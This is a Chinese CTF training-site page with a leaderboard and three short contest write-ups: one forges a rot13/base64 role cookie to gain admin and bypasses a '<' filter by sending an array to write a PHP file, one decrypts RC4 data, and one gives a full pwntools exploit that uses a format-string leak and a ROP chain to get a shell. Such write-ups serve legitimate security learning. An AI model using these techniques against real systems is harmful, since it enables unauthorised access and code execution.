请点击登录查看您的积分和解题数量
积分排行榜排行榜数据每天0点进行更新
- 排名
- 昵称
- 积分
- 解题数量
Writeup分享更多>>
-
2017第二届广东省强网杯线上赛who are you?
访问http://106.75.72.168:2222 显示sorry you have no permission用的Firefox看这个响应里面发现cookie: role = Zjo1OiJ0aHJmZyI7，看起来很像base64，解码之后是f:5:"thrfg";看了其他大神的说法才知道是rot13，解出来是s:5:"guest";，然后把guest改成admin，再rot回去就是f:5:"nqzva";对 f:5:"nqzva"; 进行base64编码得Zjo1OiJucXp2YSI7，把cookie的值改为这个再发送请求可以得到提示<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->最后随便给一个php的filename，data要用数组绕过对<的过滤（data[]=<?php phpinfo();?>），就可以获得flag。我这个憨憨一开始疯狂上传文件但都没有得到flag，结果反应过来后台只是要一个文件名，再把data里面的东西写进去。好吧。over
Web分享人： 226 0 1 -
“百度杯”CTF比赛 十月场听说是rc4算法
“听说是rc4算法”所以试试rc4算法，python代码如下：import random, base64import hashlibdef crypt(data,key) : s = [0] * 256 for i in range(256) : s[i] = i print(s) j = 0 for i in range(256) : j = (j + s[i] + key[i % len(key)]) % 256 print(j) s[i], s[j] = s[j], s[i] i = 0 j = 0 res = "" for c in data : i = (i + 1) % 256 j = (j + s[i]) % 256 s[i], s[j] = s[j], s[i] res = res + chr(c ^ s[(s[i] + s[j]) % 256]) return resdef tdecode(data ,key) : data = base64.b64decode(data) salt = data[:16] return crypt(data[16:] ,hashlib.sha1(bytes(key,encoding = "utf8") + salt).digest())if __name__ =='__main__': key = "welcometoicqedu" data = "UUyFTj8PCzF6geFn6xgBOYSvVTrbpNU4OF9db9wMcPD1yDbaJw==" print(tdecode(data,key))
Misc分享人： 111 0 0 -
“百度杯”CTF比赛 十一月场pwnme
首先使用checksec命令查看程序基本的防护措施，确定解题可能存在的约束然后使用IDA对程序进行静态分析，发现其在使用功能1打印输出时printf存在格式化字符串漏洞，由格式化字符串漏洞的利用可以实现内存的泄露，本题中利用该漏洞可计算出system函数的地址同时程序中在复制用户名和密码时均存在栈溢出漏洞，对密码部分进行溢出，并利用通用gadget构造ROP链，最终获取shell#coding:utf-8from pwn import*#pro = process('./pwnme')pro = remote('106.75.2.53',10006)def response(recv_buf,send_buf,newline=True): pro.recvuntil(recv_buf) if newline: pro.sendline(send_buf) else: pro.send(send_buf)def loop(address): response('>','2') response('please input new username(max lenth:20): \n','%11$sflag') s = 'ABCD'+ p64(address) #print(s) response('please input new password(max lenth:20): \n',s)#填充了四个字节之后才是栈内第十一个参数 response('>','1') data = pro.recvuntil('flag')[:-4] if data == "": data = "\x00" #print data,"add=>",p64(address) return dataresponse('Input your username(max lenth:40): \n','123')response('Input your password(max lenth:40): \n','123')#调用DynElf遍历 d = DynELF(loop, elf=ELF('./pwnme'))system_addr = d.lookup('system', 'libc')#print(hex(system_addr))response('>','2')response('please input new username(max lenth:20): \n','123')pop_6_ret = 0x400ECAcall_read = 0x400eb0pop_rdi_ret = 0x400ed3read_addr_got = 0x601FC8bss_addr = 0x602010payload = 'A'*40payload += p64(pop_6_ret)+p64(0)+p64(1)+p64(read_addr_got)+p64(8)+p64(bss_addr)+p64(0)payload += p64(call_read)+p64(0x1)*7payload += p64(pop_rdi_ret)+p64(bss_addr)payload += p64(system_addr)payload = payload.ljust(0x110,'0')response('please input new password(max lenth:20): \n',payload)pro.send('/bin/sh\x00')pro.interactive()
PWN分享人： 158 0 0
解题动态
- 第7舰队 解出了 SQLi 2020.02.23 00:30
- shanah 解出了 爆破-1 2020.02.22 23:55
- icq_9cf4e1eca 解出了 ReCreators 2020.02.22 23:37
- godlikee 解出了 再见CMS 2020.02.22 23:36
- EcstasyKaku 解出了 回归原始 2020.02.22 23:28
- EcstasyKaku 解出了 misc3 2020.02.22 23:26
- EcstasyKaku 解出了 内涵图 2020.02.22 23:23
- 阿姨我不想努力了 解出了 爆破-1 2020.02.22 23:23
- EcstasyKaku 解出了 吃货 2020.02.22 23:20
- k1sum 解出了 hard RSA 2020.02.22 23:20
